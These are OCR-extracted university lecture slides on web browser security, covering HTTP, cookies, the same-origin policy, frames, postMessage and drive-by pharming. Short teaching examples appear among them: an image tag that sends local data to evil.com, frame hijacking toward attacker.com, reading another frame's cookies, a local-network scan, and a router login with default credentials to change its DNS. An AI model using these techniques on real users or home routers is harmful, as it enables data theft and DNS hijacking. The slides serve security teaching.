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Reading Assignment
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® Read “"Rookits for JavaScript Environments” and
“Beware of Finer-Grained Origins”
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Browser and Network
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request

Browser _—
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H'I‘I'P HyperText Transfer Protocol
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@ Used to request and return data
e Methods: GET, POST, HEAD, ...

@ Stateless request/response protocol
e Each request is independent of previous requests

e Statelessness has a significant impact on design and
implementation of applications

@ Evolution
e HTTP 1.0: simple
e HTTP 1.1: more complex
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HT TP Request
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Method File HTTP version Headers

! ! !

Blank line
Data — none for GET
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HT TP Response
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HTTP version Status code Reason phrase Headers

|

Data
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Website Storing Info In Browser

- - -

A cookie is a file created by a website to store

information in the browser

-

N
]

A 4

POST login.cgi
username and pwd

Server

HTTP Header:
Set-cookie: NAME=VALUE ;

domain = (who can read) ; —
expires = (when expires) ; ——— Ifexpires = NULL,

secure = (send only over HTTPS)

~

this session only

N
]

»
>

GET restricted.html
Browser Cookie: NAME=VALUE

1 =

Server

~

HTTP is a stateless protocol; cookies add state
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What Are Cookies Used For?
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& Authentication

e The cookie proves to the website that the client
previously authenticated correctly

® Personalization

o Helps the website recognize the user from a
previous visit

@ Tracking

o Follow the user from site to site; learn his/her
browsing behavior, preferences, and so on
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Goals of Web Security
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& Safely browse the Web

e A malicious website cannot steal information from or
modify legitimate sites or otherwise harm the user...

e ... even if visited concurrently with a legitimate site -
in @ separate browser window, tab, or even iframe on
the same webpage

@ Support secure Web applications

e Applications delivered over the Web should have the
same security properties we require for standalone
applications (what are these properties?)
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All of These Should Be Safe
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® Safe to visit an evil website I
A.com

® Safe to visit two pages )| CI—
at the same time

# Safe delegation ———caw
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Security Vulnerabilities in 2011

Web app vuins
599, m Other vulns
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Two Sides of Web Security
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& \Web browser

e Responsible for securely confining Web content
presented by visited websites

@ Web applications

e Online merchants, banks, blogs, Google Apps ...

e Mix of server-side and client-side code

— Server-side code written in PHP, Ruby, ASP, JSP... runs on
the Web server

— Client-side code written in JavaScript... runs in the Web
browser

e Many potential bugs: XSS, XSRF, SQL injection
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Where Does the Attacker Live?
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Browser
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Web Threat Models
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& \Web attacker

& Network attacker

e Passive: wireless eavesdropper

e Active: evil Wi-Fi router, DNS poisoning
& Malware attacker

e Malicious code executes directly on victim’s computer

e To infect victim’s computer, can exploit software
bugs (e.qg., buffer overflow) or convince user to
install malicious content (how?)

— Masquerade as an antivirus program, video codec, etc.
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Web Attacker
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@ Controls a malicious website (attacker.com)
e Can even obtain an SSL/TLS certificate for his site ($0)

@ User visits attacker.com — why?

e Phishing email, enticing content, search results, placed
by an ad network, blind luck ...

o Attacker’s Facebook app
& Attacker has no other access to user machine!

& Variation: “iframe attacker”

e An iframe with malicious content included in an
otherwise honest webpage

— Syndicated advertising, mashups, etc.
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Dangerous Websites
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@ Microsoft’'s 2006 “Web patrol” study identified
hundreds of URLs that could successfully exploit
unpatched Windows XP machines

e Many interlinked by redirection and controlled by the
same major players

€"But I never visit risky websites”
e 11 exploit pages are among top 10,000 most visited

e Trick: put up a page with popular content, get into
search engines, page then redirects to the exploit site

— One of the malicious sites was providing exploits to 75
“innocuous” sites focusing on (1) celebrities, (2) song lyrics,

(3) wallpapers, (4) video game cheats, and (5) wrestling
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OS vs. Browser Analogies
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Operating system Web browser
@ Primitives @ Primitives

e System calls e Document object model

e Processes e Frames

o Disk e Cookies and localStorage
@ Principals: Users @ Principals: “Origins”

e Discretionary access control e Mandatory access control
® Vulnerabilities ® Vulnerabilities

o Buffer overflow e Cross-site scripting

e Root exploit e Universal scripting
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ActiveX
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@ ActiveX “controls” are compiled binaries that
reside on the client machine
e Downloaded and installed, like any other executable
e Activated by an HTML object tag on the page
e Run as native binaries, not interpreted by the browser

@ Security model relies on three components
e Digital signatures to verify the source of the control
e Browser policy can reject controls from network zones

e Controls can be marked by author as “safe for
initialization” or “safe for scripting”

Once accepted, installed and started, no control over execution!
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Installing ActiveX Controls
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Security Warning x|

Do you want ko install and wn “Microsoft wWeb M awvigator
Active Control'* zigned on 6/12/41397 210 PM and
diztributed by:

Microzoft Corporation

Publizher authenticity venfied by WenSign Commercial
Software Publishers Ca,

Cautior: Microzaft Corparation aszertz that thiz content iz
zafe, ou zhould only installAiew this content if pou bust
Microzoft Carporation bo make that assertian.

[T Always trust content from Microsoft Corporation

are Infao |

If you install and run, no further control over the code,
same access as any other program you installed
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ActiveX Risks
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€ From MSDN:

e “An ActiveX control can be an extremely insecure way to provide
a feature. Because it is a Component Object Model (COM) object,
it can do anything the user can do from that computer. It can
read from and write to the registry, and it has access to the local
file system. From the moment a user downloads an ActiveX
control, the control may be vulnerable to attack because any Web
application on the Internet can repurpose it, that is, use the
control for its own ends whether sincere or malicious.”

€ How can a control be “repurposed?”

e Once a control is installed, any webpage that knows
the control’s class identifier (CLSID) can access it using
an HTML object tag embedded in the page
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Browser: Basic Execution Model
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® Each browser window or frame:
e | 0ads content

e Renders
— Processes HTML and executes scripts to display the page
— May involve images, subframes, etc.

e Responds to events

& Events
e User actions: OnClick, OnMouseover
e Rendering: OnLoad, OnUnload
e Timing: setTimeout(), clearTimeout()
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HTML and Scripts
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Browser receives content,
displays HTML and executes scripts

<html>

<p> The script on this page adds two numbers

<script>
var numl, num2, sum
numl = prompt("Enter first number")
num2 = prompt("Enter second number")
sum = parselnt(numl) + parselnt(num2)
alert("Sum =" + sum)

</script>

</html>
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e —"

v | B ChDocuments 2 v | || X 2

_\_ ::/ 1 |\~: /

W R [@C:EDocuments an... ‘ - B8

The script on this page adds two numbers

Explorer User Prompt

s - |rPage ¥
3
Script Prampk:

Enter firzt nurmber

e —"

y v B ChDocuments v | 1| X 2

\_ ::/ 1 |\~: A

0| @ ChDocurnents an... _‘ - B o ~ [ FPage ¥ ”

The script on this page adds two numbers

Windows Internet Explorer [X|
!E Sum = 7

K

Dione ' My Computer HAODY, -
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Event-Driven Script Execution
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<script type="text/ javaiﬂﬁ">/ Script defi|.1_es a
function whichButton(event) {  Pa9e-SPecific function

if (event.button==1) {

alert("You clicked the left mouse button!") }
else {

alert("You clicked the right mouse button!")

}}_ Function gets executed
</script> when some event happens

<body onmousedown="whichButton(event)">

</body>
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/2 C:\Documents and SettingslJohn MitchellWy Documentsistanfordics155iL.. [=|[E)X]
, ~ | \Documents and SetfingsiJol ¥ | *# X P~

o

W | @ Ch\Documents and Sett. .. ]_\ - B sh - rPage ¥ () Tools

Click in the document. An alert box will alert which mouse button vou clicked.

Windows Internet Explorer |z|

! E You clicked the left mouse button!

QK

Dione d My Computer FA00% -
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<html|>
<body>
<div style= . rotateY(
rotateX(- ); ; >
| am a strange root.
</div>
</body>
</html>

e 'Y localhost:8000/onelayer.h = W Y
\ C' | [} localhost:8000/onelayer.htm

I am a strange roof.

Source: http://www.html5rocks.com/en/tutorials/speed/layers/
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JavaScript
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€ "The world’s most misunderstood programming
language”
€ Language executed by the Web browser

e Scripts are embedded in webpages

e Can run before HTML is loaded, before page is viewed,
while it is being viewed, or when leaving the page

# Used to implement “active” webpages and Web
applications

& A potentially malicious webpage gets to execute
some code on user’s machine
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JavaScript History
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# Developed by Brendan Eich at Netscape
e Scripting language for Navigator 2

® Later standardized for browser compatibility
o ECMAScript Edition 3 (aka JavaScript 1.5)

® Related to Java in name only
e Name was part of a marketing deal
e “Java is to JavaScript as car is to carpet”

®Various implementations available
e SpiderMonkey, RhinoJlava, others
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Common Uses of JavaScrlpt

# Page embellishments and special effects
€ Dynamic content manipulation

€ Form validation

# Navigation systems

€ Hundreds of applications

e Google Docs, Google Maps, dashboard widgets in
Mac OS X, Philips universal remotes ...
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JavaScript in Webpages
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¥ Embedded in HTML as a <script> element
o Written directly inside a <script> element
— <script> alert("Hello World!") </script>
e In a file linked as src attribute of a <script> element
<script type="text/JavaScript" src="functions.js"></script>

&® Event handler attribute

<a href="http://www.yahoo.com" onmouseover="alert('hi');">

® Pseudo-URL referenced by a link

<a href="JavaScript: alert(*You clicked’);"”>Click me</a>
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Document ObJect Model (DOM)
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4
4

HTML page is structured data
DOM is object-oriented representation of the

nierarchical HTML structure

e Properties: document.alinkColor, document.URL,
document.forms|[ ], document.links[ ], ...

e Methods: document.write(document.referrer)
— These change the content of the page!

® Also Browser Object Model (BOM)

e Window, Document, Frames| ], History, Location,
Navigator (type and version of browser)
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Browser and Document Structure

frame object o 2 e Document Object Model
ciears R A& 'Web p A plying JavaScnpd processing 10 the XHTML elements on
LCHTRS that page document ll:b]EI:I: ty hawve consaderad XHTML tags simply as markup codes
. o ¢ DHTA provding d supplying mechanisms through which styling is applied

o to that content, Impodandly, thowgh, XHTML 1ags are also software objects. That is, all

T [ocurmrd Ctgnct Madel ¥HTWL 1ags heve propemties and methods that can be programmed. A5 is the case with all
software objects, proparies rfer to charactenstics of the slement; methods mfer to actions the

object can perform. XHTML tags, then, are programmable through JeaScrpl processing

routings that set their properties and activate thewr methods in order to make Wab pages

d

? MyawSeripd Oata DperaSans yramic
Thé programmeng intérkce Do (i p=Sd ifeh page is kKnown as Dhi
Docurnent Object Model (DOM). T L pﬂagrq:-h uh]ed; campnging a Wb page,
and o prvwdes the medng for odend ir propérties and milbhods
o produce dynamed charnges

1 Eus gl amd [l
The DO Hierarchy | =h2> heading object

L Scriet Duiiiben Muling Basically, the DOM i3 a héersrchy of broweer componants. A1 the top-maost level is the browesr

(mandgator) object A2 the next level down the higrarchy is the window object, the main
browsar window within which Web pages sppear. Within the window ane optional frame objects
|I|'|’ thiz window 1B dmced indo fl'.’ll'l'lES.lI and thess window and rl’al'r‘\é l:':l|él,'r‘§ conEain fhe
o document objects represanting Web pages. The page itself contains ather objects, inchuding

%l Local intvanet

W3C standard differs from models
supported in existing browsers
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Readlng Propertles W|th JavaScrlpt
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. Sample HTML
Sample script _
<ul id="t1">
1. document.getElementById('t1').nodeName <li> Item 1 </li>
2. document.getElementById('t1").nodeValue </ul>
3. document.getElementById('t1").firstChild.nodeName / °

4. document.getElementById('t1").firstChild.firstChild.nodeName
5. document.getElementById('t1").firstChild.firstChild.nodeValue

Example 1 returns "ul"
Example 2 returns "null”
Example 3 returns "[i"

Example 4 returns "text"
— A text node below the "li" which holds the actual text data as its value
Example 5 returns " Item 1 "
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Page Manlpulatlon W|th JavaScrlpt
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Sample HTML

<ul id="t1">
<li> Item 1 </li>

€ Some possibilities
e createElement(elementName)
o createTextNode(text)
. . <[ul>
e appendChild(newChild)
e removeChild(node)

€ Example: add a new list item

var list = document.getElementById('t1")

var newitem = document.createElement('li')
var newtext = document.createTextNode(text)
list.appendChild(newitem)
newitem.appendChild(newtext)
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JavaScript Bookmarks (Favelets)
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@ Script stored by the browser as a bookmark
@ Executed in the context of the current webpage

® Typical uses:

e Submit the current page to a blogging or
bookmarking service

e Query a search engine with highlighted text

e Password managers Must execute
— One-click sign-on - only inside the
— Automatically generate a strong password
— Synchronize passwords across sites

“right” page
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A JavaScrlpt “Rootklt"

s s s ["Rootkits for JavaScript environments”]

if (window.location.host == "bank.com")
doLogin(password);

JavaScript bookmark

var window = { location: { host: "bank.com" } }; &
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Let’s Detect Fake Objects

A R e S e Ay [“Rootkits for Javascript environ mentS"]

window.location = “#";
If window.location is a native object,
new value will be “https://bank.com/login#”

JavaScript bookmark

window.__defineGetter__ ("location",
function () { return "https://bank.com/login#"; });
window.__defineSetter__ ("location", function (v) { });
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Let’'s Detect Emulation

O P S T B S P P Y o ST B A W [“Rootkits for ] avascript environ ments"]

typeof obj.__lookupGetter__ (propertyName)
== "undefined"

typeOf and !== avoid asking for the value of
“undefined” (could be redefined by attacker!)

JavaScript bookmark

Object.prototype.__lookupGetter___
function() { ... };
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Content Comes from Many Sources
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@ Scripts
<script src="//site.com/script.js”> </script>

& Frames
<iframe src="//site.com/frame.htm|”> </iframe>

@ Stylesheets (CSS)

<link rel="stylesheet” type="text/css” href="//site.com/theme.css" />

# Objects (Flash) - using swfobject.js script
<script> var so = new SWFODbject('//site.com/flash.swf’, ...);

so.addParam(‘allowscriptaccess', ‘always');
so.write('flashdiv’); "\

</script> | Allows Flash object to communicate with external
scripts, navigate frames, open windows
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Browser Sandbox
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@ Goal: safely execute JavaScript cbdé
provided by a website

e No direct file access, limited access to OS, network,
browser data, content that came from other websites

€ Same origin policy

e Can only access properties of documents and
windows from the same domain, protocol, and port

@ User can grant privileges to signed scripts

e UniversalBrowserRead/Write, UniversalFileRead,
UniversalSendMail
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Same Origin Policy
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protocol.//domain.port/path?params

Same Origin Policy (SOP) for DOM:

Origin A can access origin B's DOM if A and B have
same (protocol, domain, port)

Same Origin Policy (SOP) for cookies:

Generally, based on

([ytocol], domain, path)

optional
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Setting Cookies by Server

S IAFEN S Wb o e N LT

GET ... <

v
Server

HTTP Header:

Set-cookie: NAME=VALUE;
domain = (when to send); scope
path = (when to send);
secure = (only send over HTTPS);
expires = (when expires);
HttpOnly

~

if expires=NULL.:
this session only

« Delete cookie by setting “expires” to date in past
 Default scope is domain and path of setting URL
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Viewing Cookies in Browser
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& Cookies oo - - . E@lﬁ
Search: Clear
The following cookies are stored on your computer:
Site Cookie Name
| | google.com MNID
|_| google.com

|| google.com
(I

SNID

__utmz
| | google.com

Mame: _utma

Content: 173272373.28855581
Domain: .google.com

Path: /adsense/

send For: Any type

Expires: Sundaﬁ January 17, 2038 D]D:DCI PM

Eemowve Cookie | | Femove All Cookies |
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Flash

AN P e G ST B e W P S S ST e VT T TP S G ST S N T I O G ST B R N TV PR O S ST R A

O HTTP cookies: max 4K, can delete from browser

® Flash cookies / LSO (Local Shared Object)
e Up to 100K
e No expiration date
e Cannot be deleted by browser user

@ Flash language supports XMLSockets
e Can only access high ports in Flash app’s domain

e Scenario: malicious Flash game, attacker runs a
proxy on a high port on the game-hosting site...
Consequences?
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Cookie Identification
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Cookies are identified by (name, domain, path)

cookie 1 cookie 2

name = userid name = userid

value = test value = test123

domain = login.site.com domain = .site.com

path = / path = /

secure x secure 4
N—distinct cookies—"

Both cookies stored in browser’s cookie jar,
both are in scope of login.site.com
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SOP for ertlng Cookles
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domain: any domain suffix of URL-hostname,
except top-level domain (TLD)

Which cookies can be set by login.site.com?

allowed domains disallowed domains
v login.site.com X user.site.com
v’ .site.com X othersite.com
X .com

login.site.com can set cookies for all of .site.com
but not for another site or TLD AN

Problematic for sites like .utexas.edu

path: anything
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QELS AN

GET //URL-domain/URL-path ()
Cookie: NAME = VALUE Sy

| ~

Browser sends all cookies in URL scope:
 cookie-domain is domain-suffix of URL-domain

* cookie-path is prefix of URL-path
« protocol=HTTPS if cookie is “secure”

Goal: server only sees cookies in its scope
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Examples of Cookie SOP
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cookie 1

name = userid

value = ul

domain = login.site.com
path = /

secure

cookie 2

name = userid
value = u2

domain =
path = /

NON-Secure

both set by login.site.com

.Site.com

nttp://checkout.site.com/ COO0
nttp://login.site.com/ CO0
nttps://login.site.com/ CO0

Kie: useric
Kie: userid

Kie: userid

=Uu2
=u2
=ul; userid=u2

(arbitrary order; in FF3 most specific first)
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Cookie Protocol Issues
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® What does the server know about the cookie sent
to it by the browser?

@ Server only sees Cookie: Name=Value
... does not see cookie attributes (e.g., “secure”)

... does not see which domain set the cookie

e RFC 2109 (cookie RFC) has an option for including
domain, path in Cookie header, but not supported by
browsers
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Who Set The Cookle?
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@ Alice logs in at login.site.com
e login.site.com sets session-id cookie for .site.com

@ Alice visits evil.site.com

e QOverwrites .site.com session-id cookie with session-id
of user “badguy” - not a violation of SOP! (why?)

@ Alice visits cs361s.site.com to submit homework
e cs361s.site.com thinks it is talking to “badguy”
@ Problem: cs361s.site.com expects session-id from

ogin.site.com, cannot tell that session-id cookie
nas been overwritten by a “sibling” domain
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Overwriting “Secure” Cookies
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@ Alice Iogs in at https //www.google.com

Set Cookie: L5ID= EZNIF'IHED Domain= gu:n:ugle com; F'ath_, :Expires=Mon, 01-Jan- 1990 00: IL'II'J IL'IIL'I GI"-ﬂT

Set-Cookie: LSID=EXPIRED;Path=/:Expires=Mon, 01-Jan-1990 00:00:00 GMT

Set-Cookie: LSID=EXPIRED;Domain=www.google.com;Path=/accounts;Expires=Mon, 01-Jan-1990 00:00:00 GMT
Set-Cookie: LSID=cl:DQAAAHSAAACNIhI GCpKUNxckr79Ce3BUCHIual®al e5oPvBy TrOHUGIFECY groilg2cH1Cqgk
Set-Cookie: GAUSR=dabol23@gmail.com;Path=/accounts;5ecure

@ Alice visits http://www.google.com LSID, GAUSR are
e Automatically, due to the phishing filter ~[-Secure” cookies

@® Network attacker can inject into response
Set-Cookie: LSID=badguy; secure

e Browser thinks this cookie came from
http://google.com, allows it to overwrite secure cookie
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Accessmg Cookles Via DOM
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€ Same domain scoping rules as for sending
cookies to the server

€ document.cookie returns a string with all

cookies available for the document
e Often used in JavaScript to customize page

@ Javascript can set and delete cookies via DOM

— document.cookie = "name=value; expires=...; "
— document.cookie = “name=; expires= Thu, 01-Jan-70"
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Path Separatlon Is Not Secure
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Cookie SOP: path separation
when the browser visits x.com/A,
it does not send the cookies of x.com/B
This is done for efficiency, not security!

DOM SOP: no path separation
A script from x.com/A can read DOM of x.com/B
<iframe src="x.com/B"></iframe>
alert(frames[0].document.cookie);
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Frames
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€ Window may contain frames from different
Sources
e frame: rigid division as part of frameset
e iframe: floating inline frame

<IFRAME SRC="hello.htmI" WIDTH=450 HEIGHT=100>
If you can see this, your browser doesn't understand IFRAME.
</IFRAME>

®\Why use frames?
e Delegate screen area to content from another source
e Browser provides isolation based on frames
e Parent may work even if frame is broken
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Browser Securlty Pollcy for Frames
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A B A

]

M SN~ —

| |
® Each frame of a page has an origin
e Origin = protocol://domain:port
€ Frame can access objects from its own origin
e Network access, read/write DOM, cookies and localStorage

€ Frame cannot access objects associated with other origins

slide 55




Mashups
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iGoogle (Now Defunct)
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Web Images “ideo MNews Maps more »
‘J || Advanced Search
Freferances

[ Google Search ][ I'm Feeling Lucky ] Landuade Toels

Welcome to your Google homepage. Make it your own.

Google Calendar Weather Date & Time
« April 2007 >> et weather forecasts
Sy M Tu W Th F  Sa for your hometown and
55 oF 27 28 20 30 31 _ favarite places around

1 o 3 4 5 g = the globe.

2 10 11 12 13 g Enter your ZIF code:
15 16 17 13 19 20 21 (o]
22 23 24 [F5 26 27 28
20030 1 2 3 4 5
6 7 8 o 10 11 1z| |Top Stories

Add Event Officially In, MecCain Seeks Frash
Start
San Francisco Chronicle -
CNN.com all 424 related »
Dow closes ahove 13,000 for Bush Announces Mew Malaria
first tirme Initiatives

N S N T =TS
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Cross-Frame Scripting
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€ Frame A can execute a script that manipulates
arbitrary DOM elements of Frame B only if
Origin(A) = Origin(B)
e Basic same origin policy, where origin is the protocol,
domain, and port from which the frame was loaded

€ Some browsers used to allow any frame to
navigate any other frame
e Navigate = change where the content in the frame is
loaded from
e Navigation does not involve reading the frame’s old
content
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Frame SOP Examples
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Suppose the following HTML is hosted at site.com

# Disallowed access
<iframe src="http://othersite.com"></iframe>
alert( frames[0].contentDocument.body.innerHTML )

alert( frames[0].src )
@ Allowed access
<img src="http://othersite.com/logo.qgif" >

alert( images[0].height ) Navigating child frame is allowed,
or but reading frame[0].src is not

frames[0].location.href = “http://mysite.com/” /
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Guninski Attack
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/= Welcome to AdSense - Windows Internet Explorer

@:\ v E https:/fwww.google.comfadsensefloginfen_US! Vl &J 4 | X ’ soogle
W ‘Welcome to AdSense [7‘

I

- B deh) v |:bPage v (CF Tools ~

»

GO ()gle |English (US) ¥|  Help Center

AdSense

Earn money from relevant ads on your website

Google AdSense matches ads to your site’'s content. and you earn money
whenever your visitors click on them

Sign up now »

Existing AdSense users

1 : Sign in to Google AdSense with your
Roses, Daisies. and more : .
) oY g > ) “- ¢
/= Windows Internet Explorer r:.‘ ; § 1 IF_'DcarLﬂo{lf:]StSl SaTe day1%eg;em O Accou nt
FE) + [Cvaiwensacrony W 5 reshest flowers rqm$ ; -
= wyyyy.seedsandsaplings .com Email
* & *—
Lﬂ‘ 0 ﬁg,‘f' Place ads on your site

: “".ﬂ:

window.open("https://www.attacker.com/...", "awglogin")
%/

If bad frame can navigate sibling frames, attacker gets password! Sl 60



Gadget Hijacking in Mashups
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File Edit View History

Q'-: = - @ ﬁ http:ffwww.google.com/ig

Web Images Maps Mews Shopping Gmail more v

Bookmarks Tools Help
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Semted@gmail.com | Classic Home | Web History | My Account | Sign out )

1GOf

technology

top.frames[1].location
top.frames[2].location

Home

Evil Gadget

"http:/www.attacker.com/...";
"http:/www.attacker.com/...";

Perry Farrell - Song Yet To Be Sung
Jethro Tull - Nothing Is Easy

Talvin Singh - Butterfly

Beth Orton - Central Reservation

«maore

Bejeweled

CustomRSS

Irag veteran=s =ay that war crimes are
encouraged by command.

16 year-old buildz electric pickup truck

Study: Global Warming May Reduce Atlantic
Hurricanes

Caroline Kennedy's Endorzement of Barack
Obkama

BREAKING: OMG We're Going To Die?

» Jdy Google Groups

google-dnswall (1)

Search YouTube

(I Tube)

JCPenney™ Bedding Sale
20-50% Off Cozy Bedding - Sheets,
Quilts, Blankets & More Thru 1/31

Ads by Google
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Gadget Hijacking
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File Edit View History Bookmarks Tools Help

<3 - - @ ﬁ http:/fwww.google.comjig

Web Images Maps Mews Shopping Gmail more v

iGoogle

Google Search ][ I'm Feeling Lucky ]

Home technology || Recommendations | Add atab

Evil Gadget Radio Paradise

Bejeweled

CustomRSS

& *

v

&y

st @gmail.com | Classic Home | Web History | My Account | Sign out [

Search Freferences

new! Select theme | Add stuff »

My Google Groups

*

Search YouTube

&

(]

Modern browsers only allow a frame to navigate its “descendant” frames
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Recent Developments

.

# Cross-origin network requests QI X

e Access-Control-Allow-Origin:
<list of domains>
— Typical usage:
Access-Control-Allow-Origin: *
# Cross-origin client-side communication
e Client-side messaging via fragment navigation
e postMessage (newer browsers)
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postMessage
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@ New API for inter-frame communication
@ Supported in latest browsers

Kl Like

&) Send
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Example of postMessage Usage

~
ade b

document.addEventListener("message”, receiver);
function receiver(e) {
if (e.origin == “http://a.com") {
..e.data ..} Why is this needed?
}
\/
b.com frames[0].postMessage(“Hello!”, “http://b.com”);
d.Ccom
c.com

Messages are sent to frames, not origins

slide 65



Message Eavesdropplng (1)
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frames[0].postMessage("Hello!")
@ With descendant frame navigation policy

@ Attacker replaces inner frame with his own,
gets message

€ http: / /attacker.com/ | = (@ (] € http: / /attacker.com/ | =) (%]
Attacker Attacker

I nte E rator postMessage( secret) I nte E rator postMessage( secret)

| Gadget I | | Attacker & |
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Message Eavesdropplng (2)
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frames[0].postMessage("Hello!")
€ With any frame navigation policy

@ Attacker replaces child frame with his own,
gets message

' €A http: / /integrator.com/ | =/ (O] [x] | | €A http: / /integrator.com/ | =/ (O] [x] |
Integrator Integrator scurce.postMessage(secret)
Attacker Attacker j
| Gadget tnp.pnsmssam-sghl | Attacker |
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Who Sent the Message?
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function msgReceiver(e) {
if(e.origin !== "http://hostA")

HTML Living Standard (whatwg.org)

Authors should check the origin attribute to
ensure that messages are only accepted from

domains that they expect to receive messages from
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And If The Check Is Wrong?
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C [ www.bogusjumptime.com/exploit

K Like 1.6m Search O

HOME NEWS PHOTOS STYLE RED CARPET ROYALS TVWATCH BABIES PETS BEST OF 2012 CELEBS VIDEO MAGAZINE

N D § 5 NDSS 2013 call for papers
2

TOP STORY ©
'@"
il

sYmrosiIum

THE LATEST Ei MOST SHARED

The Postman Always Rings Twice: Attacking
and Defending postMessage in HTMLS
Websites

The camera-ready due for NDSS 2013 is
coming up

vV WATCH

Internet Society 20 years

READ IT»

18th Annual Network & Distributed System
Security Symposium

K Like 12k 3 Tweet ;,:.1
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The Postman Always ngs Twice

P S P S A s = [Son and Shmatikov]

A study of postMessage usage in top 10,000 sites
92,245 (22%) have a postMessage receiver

€ 1,585 have a receiver without an origin check
€ 262 have an incorrect origin check

€84 have exploitable vulnerabilities

e Received message is evaluated as a script, stored into
localStorage, etc.

slide 70



Incorrect Origin Checks

R P i o ST B A W P I o T B R W I P R o T B A A R P Y [SO N an d S h m at| kov]

Check | Hosts | Origin check
1 107 | ifi(/[\/]|\.]Jechartbeat.com$/ test(a.origin})
2 71 ifim.origin. indexOf(“sharethis.com™) !=-1)
3 35 | if(a.origin && a.origin.match(/\.kissmetrics\.com/))
4 20 | var w = [jumptime\.com(: [0 — 9]|)75/:
if (!v.oorigin.match({w))
5 4 | if(!a.originmatch( freadspeaker.com / gi))
6 1 | aoriginindexOf{“widgets.ign.com™) != 1
7 1 | if(e.origin.match(/http(s?)\ N\ /\/\
w—+7\ . Tdastele fonbuch.def)
8 1 | ifi{ \api.weibo\.com$/).test(Lorigin))
9 1 | if(/id. rambler.ru$/i.test(a.origin))
10 1 | if(e.origin.indexOf(location.hostname)==-1){return: }
11 7 | ifi(/" (htips? : J/["/]+)/- + (pss|selector|
payment . portal|matpay — remote).js /i)
.exec(src)[ 1] == e.origin)
12 5 | ifig.origin && g.origin !== Lorigin) { return: } else { ...
¥
13 I | if((typeof d === "string” && (n.origin '==d && d |==
)| | isFunction(d) && din.origin) === !1))
14 24 | ifieventorigin != “htpfcdn-staticliverail.com™ &&

event.data)
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Library Import

AN P e G ST B e W P S S ST e VT T TP S G ST S N T I O G ST B R N TV PR O S ST R A

€ Same origin policy does not apply to directly
included scripts (not enclosed in an iframe)

<script type="text/javascript"
src=https://seal.verisign.com/getseal?host_name=A.com>

</script>

@ netp://a.com w=[=)
VeriSign
A.com

e This script has privileges of A.com, not VeriSign
— Can change other pages from A.com origin, load more scripts

@ Other forms of importing @ & |CSS

Java | &ierlight
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SOP Does Not Control Sending
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€ Same origin policy (SOP) controls access to DOM

@ Active content (scripts) can send anywhere!
e No user involvement required
e Can only read response from the same origin
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Sending a Cross-Domain GET
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€ Data must be URL encoded
<img src="http://othersite.com/file.cgi?’foo=1&bar=x y">
Browser sends
GET file.cgi?foo=1&bar=x%20y HTTP/1.1 to othersite.com

€ Can't send to some restricted ports
e For example, port 25 (SMTP)

@ Can use GET for denial of service (DoS) attacks
e A popular site can DoS another site [Puppetnets]
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Using Images to Send Data
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® Encode data in the image’s URL

<img src="http://evil.com/pass-local-
information.jpg?extra_information”>

@ Hide the fetched image
<img src=" ... " height="1" width="1">

Very important point:
a webpage can send information to any site!
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Drlve By Pharmlng

I T B I B Y e L e W I P o T B S Wl O S P i TS B ' [Stammetal]

Internal Network

evil code @
I —— >

/\ detect
£ 58 internal IP
ST
= evilcode html s i

- D interpret
@ 'script error
change
@ settings @

@ User is tricked into visiting a malicious site

# Malicious script detects victim’s address
o Socket back to malicious host, read socket’s address

@ Next step: reprogram the router
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Finding the Router

AN P R G ST e W P P O S ST B e VS TP G T B e N W P O G ST B A T [ Sta m m et a I . ]

A/IWe dancing pigs!” '
== = p
scan

2) “check this out” | ‘—;Ma'licious
) “check this ou obpge

Server \:_/
3) port scan results ‘/sc n Browser % Q

Firewall

@ Script from a malicious site can scan local network
without violating the same origin policy!
e Pretend to fetch an image from an IP address

Basic JavaScript function,

e Detect success using onError triggered when error oceurs

loading a document or an

<IMG SRC=192.168.0.1 onError = dO()> image... can have a handler
@ Determine router type by the image it serves
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JavaScrlpt T|m|ng Code (Sample)

= NS B oS TA NS W = NS B

<htm|><body><|mg id="test" ster="d|spIay: none">
<script>
var test = document.getElementById('test’);
var start = new Date();
test.onerror = function() {
var end = new Date();
alert("Total time: " + (end - start));
}
test.src = "http://www.example.com/page.html";
</script>
</body></html>

When response header indicates that page is not an image, the
browser stops and notifies JavaScript via the onError handler
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Reprogrammmg the Router

N3y B ST A 2 S A W I P N o T B A W P i o TS [Stamm et al ]
/__,_-J/ \/ ™
// Internal Network \‘\
(/ evil code @
= ™ detect )
s L\ get/ internal IP £
= “ —_— e 1 LY
| evilcode > html . Dinterpret |
@ /"\/ script error /
change /
(\ @ settings @ //
e P e
B R, \\ //

Fact: 50% of home users use a broadband router
with a default or no password

@ Log into the router
<script src="http://admin:password@192.168.0.1"></script>

@ Replace DNS server address with the address of
an attacker-controlled DNS server
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Rlsks of Drlve By Pharmlng

R Y sewmsswms [ Stamm et al. ]
Legit DNS Corrupt DNS
70.1.1.2 69.6.6.8

- N ’
> v N
\\
N / Internal Network \
DNS Query J\ DNS Query .\/"’l
10 69.6.6.8 \, t0 69.6.6.8 N
-— | ———————— \]
L S <o DNS 70.1.1.2 use DNS 69.6.6.8 e ///
A\ f/
® . ® #
\\\7\ P -

€ Completely Own the victim’s Internet connection

# Undetectable phishing: user goes to a financial
site, attacker’s DNS gives IP of attacker’s site

€ Subvert anti-virus updates, etc.
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